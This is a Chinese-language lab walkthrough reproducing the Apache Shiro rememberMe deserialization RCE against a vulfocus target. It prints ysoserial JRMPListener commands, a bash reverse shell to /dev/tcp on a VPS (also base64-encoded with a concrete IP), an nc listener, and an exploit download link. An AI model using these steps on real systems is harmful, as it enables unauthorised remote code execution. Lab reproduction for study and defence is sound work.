前言:
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
影響版本:
Apache Shiro <= 1.2.4
漏洞原理:
Apache Shiro 1.2.4及以前版本中,Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。
漏洞特徵:
shiro反序列化的特徵:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
漏洞復現:
- vps機器,java環境
- 版本Apache Shiro <=1.2.4
- http請求包cookie中的RememberMe參數
- 靶場地址:http://vulfocus.fofa.so/
- exp下載地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取碼pstc)
第一步:啓動靶機後,訪問URL通過burp抓包,判斷環境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe
第二步:打開公網vps,執行如下命令:(注意這裏監聽的端口爲1099)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反彈 shell 的命令"
這裏的命令需要使用Java Runtime配置bash編碼。
在線編碼轉換地址:http://www.jackson-t.ca/runtime-exec-payloads.html
轉換命令如下:(這裏是反彈shell的端口爲1234)
bash -i >& /dev/tcp/VPS公網ip/1234 0>&1
第三步:最終在VPS上執行的命令如下:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuOS4zNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
第四步:使用exp.py生成payload,需要python2的環境,命令如下:
python2 exp.py 公網VPS:1099 (注意這裏的端口爲1099)
紅色框標出的爲生成的payload
第五步:在VPS上,使用nc監聽1234端口,命令如下:
nc -lvvp 1234
第六步:通過burp抓取任意的http數據包,在cookie中添加生成的payload
第七步:通過burp發送數據包,查看VPS中java監聽接口,nc監聽結果。